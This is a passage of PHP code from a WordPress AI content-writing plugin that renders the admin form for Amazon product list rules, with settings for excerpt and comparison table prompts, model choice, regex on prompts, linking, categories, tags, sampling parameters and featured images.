</td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Excerpt. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Excerpt Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">' . esc_textarea($excerpt_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Excerpt Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[topic_excerpt_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_excerpt_model)) { $topic_excerpt_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_excerpt_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Prompt to be used for the Post Comparison Table. You can use the following shortcodes: %%search_keywords%%, %%all_product_titles%%, %%all_product_info%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Comparison Table Prompt", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[table_prompt][]" placeholder="Enter your comparison table prompts, one per line" class="cr_width_full">' . esc_textarea($table_prompt) . '</textarea> </div> </td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the comparison table generator.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For Comparison Table Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[topic_table_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($topic_table_model)) { $topic_table_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($topic_table_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td colspan="2"><h4>' . esc_html__('Advanced Prompting Options', 'aiomatic-automatic-ai-content-writer') . ':</h4></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_amazon_list[strip_by_regex_prompts][]" placeholder="regex" class="cr_width_full">' . esc_textarea($strip_by_regex_prompts) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content from prompts, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Replace Matches From Regex (Prompts)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" class="cr_width_full" name="aiomatic_amazon_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full">' . esc_textarea($replace_regex_prompts) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, qa, outro, excerpt", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Run Above Regex On Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input id="run_regex_on' . esc_html($cont) . '" name="aiomatic_amazon_list[run_regex_on][]" type="text" list="run_regex_on_list' . esc_html($cont) . '" class="coderevolution_gutenberg_input" value="' . esc_attr($run_regex_on) . '"/> <datalist id="run_regex_on_list' . esc_html($cont) . '"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> <option value="table">table</option> </datalist> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Global Prompt Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Prepend Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full">' . esc_textarea($global_prepend) . '</textarea> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Append Text To All Textual AI Prompts", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full">' . esc_textarea($global_append) . '</textarea> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Automatic Linking Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Automatic Linking Type", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="link_type' . esc_html($cont) . '" onchange="hideLinks(' . esc_html($cont) . ');" name="aiomatic_amazon_list[link_type][]"> <option value="disabled"'; if ($link_type == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="internal"'; if ($link_type == 'internal') { $output .= ' selected'; } $output .= '>' . esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="manual"'; if ($link_type == 'manual') { $output .= ' selected'; } $output .= '>' . esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="mixed"'; if ($link_type == 'mixed') { $output .= ' selected'; } $output .= '>' . esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Number Of Automatic Links To Add To The Post Content", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_amazon_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full" value="' . esc_attr($max_links) . '"> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Manual List Of URLs (One Per Line)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <textarea rows="1" cols="70" name="aiomatic_amazon_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full">' . esc_textarea($link_list) . '</textarea> </div> </td></tr> <tr class="hidelinks' . esc_html($cont) . '"><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Add Nofollow Attribute To Manual Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" name="aiomatic_amazon_list[link_nofollow][]"'; if($link_nofollow == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Post Types Where To Generate Automatic Links", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="text" name="aiomatic_amazon_list[link_post_types][]" placeholder="post" class="cr_width_full" value="' . esc_attr($link_post_types) . '"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Category Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post categories from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_amazon_list[auto_categories][]"> <option value="disabled"'; if ($auto_categories == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_categories == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_categories == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_categories == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_categories == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[category_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($category_model)) { $category_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($category_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI category generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ) . ' </div> </div> <b>' . esc_html__("Prompt For The AI Category Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($category_ai_command) . '</textarea> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select multiple class="cr_width_full" id="default_category" name="aiomatic_amazon_list[default_category' . esc_html($cont) . '][]" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678"'; if(!is_array($default_category)) { $default_category = array($default_category); } if(count($default_category) == 1) { foreach($default_category as $dc) { if ("aiomatic_no_category_12345678" == $dc) { $output .= ' selected'; break; } } } $output .= '>' . esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach ($categories as $category) { $output .= '<option value="' . esc_attr($category->term_id) . '"'; foreach($default_category as $dc) { if ($category->term_id == $dc) { $output .= ' selected'; break; } } $output .= '>' . sanitize_text_field($category->name) . ' - ID ' . esc_html($category->term_id) . '</option>'; } $output .= '</select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This feature will try to remove the WordPress\'s default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Remove WP Default Post Category", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="remove_default" name="aiomatic_amazon_list[remove_default][]"'; if($remove_default == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Do Not Add Inexistent Categories", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="checkbox" id="skip_inexist" name="aiomatic_amazon_list[skip_inexist][]"'; if($skip_inexist == '1') { $output .= ' checked'; } $output .= '> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Post Tag Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to automatically add post tags from the feed items?", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Add Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_amazon_list[auto_tags][]"> <option value="disabled"'; if ($auto_tags == 'disabled') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="ai"'; if ($auto_tags == 'ai') { $output .= ' selected'; } $output .= '>' . esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="title"'; if ($auto_tags == 'title') { $output .= ' selected'; } $output .= '>' . esc_html__("Title", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="content"'; if ($auto_tags == 'content') { $output .= ' selected'; } $output .= '>' . esc_html__("Content", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="both"'; if ($auto_tags == 'both') { $output .= ' selected'; } $output .= '>' . esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer') . '</option> </select> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the AI Model to be used for the tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Model For The Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td class="cr_min_width_200"> <select autocomplete="off" name="aiomatic_amazon_list[tag_model][]" class="hideAssistant' . esc_html($cont) . ' cr_width_full">'; if(empty($tag_model)) { $tag_model = AIOMATIC_DEFAULT_MODEL; } foreach($all_models as $modelx) { $output .= '<option value="' . $modelx .'"'; if ($tag_model == $modelx) { $output .= " selected"; } else { $output .= (($assistant_id != '') ? ' disabled ' : ''); } $output .= '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } $output .= '</select> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set list of prompt commands (one on each line) you want to send to AI tag generator. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer') . ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/') . ' </div> </div> <b>' . esc_html__("Prompt For The AI Post Tag Generator", 'aiomatic-automatic-ai-content-writer') . ':</b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td><td> <textarea rows="2" cols="70" name="aiomatic_amazon_list[tag_ai_command][]" placeholder="Write a comma separated list of tags, for the post title: %%post_title%%" class="cr_width_full">' . esc_textarea($tag_ai_command) . '</textarea> </div> </td></tr><tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Select the post tags that you want for the automatically generated posts to have. Spintax supported.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Additional Post Tags", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input class="cr_width_full" type="text" name="aiomatic_amazon_list[default_tags][]" value="' . esc_attr($default_tags) . '" placeholder="Please insert your additional post tags here" > </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Advanced AI Text Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. Note that in this value the number of tokens sent to the API as an article prompt will also be counted. For other models, the maximum is 2048.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Total Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_amazon_list[max_tokens][]" value="' . esc_attr($max_tokens) . '" placeholder="2048" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of prompt API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 1000.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Prompt Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_amazon_list[max_seed_tokens][]" value="' . esc_attr($max_seed_tokens) . '" placeholder="1000" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Set the maximum number of continue API tokens to use with each request. This will define the length of the resulting API response. Each token usually consists of approximately 4 characters. This defines how much content does the API receive each time you call it. If the API gets more initial data, better quality results will be expected. The maximum amount which can be set is 500.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Maximum Continue Token Count To Use Per API Request", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="1" max="128000" name="aiomatic_amazon_list[max_continue_tokens][]" value="' . esc_attr($max_continue_tokens) . '" placeholder="500" class="cr_width_full"> </div> </td></tr><tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("What sampling temperature to use. Higher values means the model will take more risks. Try 0.9 for more creative applications, and 0 (argmax sampling) for ones with a well-defined answer. We generally recommend altering this or top_p but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Temperature", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="2" name="aiomatic_amazon_list[temperature][]" value="' . esc_attr($temperature) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("An alternative to sampling with temperature, called nucleus sampling, where the model considers the results of the tokens with top_p probability mass. So 0.1 means only the tokens comprising the top 10% probability mass are considered. We generally recommend altering this or temperature but not both.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Top_p", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="0" step="0.01" max="1" name="aiomatic_amazon_list[top_p][]" value="' . esc_attr($top_p) . '" placeholder="1" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on whether they appear in the text so far, increasing the model's likelihood to talk about new topics.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Presence Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" max="2" step="0.01" name="aiomatic_amazon_list[presence_penalty][]" value="' . esc_attr($presence_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Number between -2.0 and 2.0. Positive values penalize new tokens based on their existing frequency in the text so far, decreasing the model's likelihood to repeat the same line verbatim.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("AI Frequency Penalty", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <input type="number" min="-2" step="0.01" max="2" name="aiomatic_amazon_list[frequency_penalty][]" value="' . esc_attr($frequency_penalty) . '" placeholder="0" class="cr_width_full"> </div> </td></tr> <tr><td colspan="2"><h3>' . esc_html__('Image Generator Options', 'aiomatic-automatic-ai-content-writer') . ':</h3></td></tr> <tr><td> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px">' . esc_html__("Do you want to set a featured image for the created post (royalty free or AI generated)? Please note that for this feature to function you must configure the plugin (add API keys) in the plugin\'s \'Settings\' menu -> \'Royalty Free Featured Image Importing Options\' section.", 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("Auto Set A Featured Image For Posts (Select Source Below)", 'aiomatic-automatic-ai-content-writer') . ':</b> </td><td> <select autocomplete="off" name="aiomatic_amazon_list[royalty_free][]" class="cr_width_full"> <option value="0"'; if ($royalty_free == '0') { $output .= ' selected'; } $output .= '>' . esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1"'; if ($royalty_free == '1') { $output .= ' selected'; } $output .= '>' . 